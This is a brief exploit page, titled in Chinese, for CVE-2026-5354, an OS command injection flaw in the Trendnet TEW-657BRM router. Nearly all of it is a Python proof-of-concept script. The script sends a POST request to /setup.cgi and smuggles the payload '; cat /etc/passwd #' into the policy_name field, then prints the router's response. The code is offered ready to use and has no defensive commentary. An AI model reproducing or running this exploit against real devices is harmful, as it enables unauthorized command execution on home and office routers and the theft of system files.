CVE-2026-5354 Trendnet TEW-657BRM命令注入漏洞

import requests # Exploit Title: Trendnet TEW-657BRM 1.00.1 - OS Command Injection (CVE-2026-5354) # Vulnerable File: /setup.cgi # Vulnerable Parameter: policy_name target_url = "http://192.168.10.1/setup.cgi" # Payload to execute 'cat /etc/passwd' via command injection # Using semicolon to chain commands payload = "; cat /etc/passwd #" data = { "submit_button": "vpn_connect", "change_action": "gozila_cgi", "policy_name": payload } try: response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Response:") print(response.text) else: print("[-] Failed to send exploit. Status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")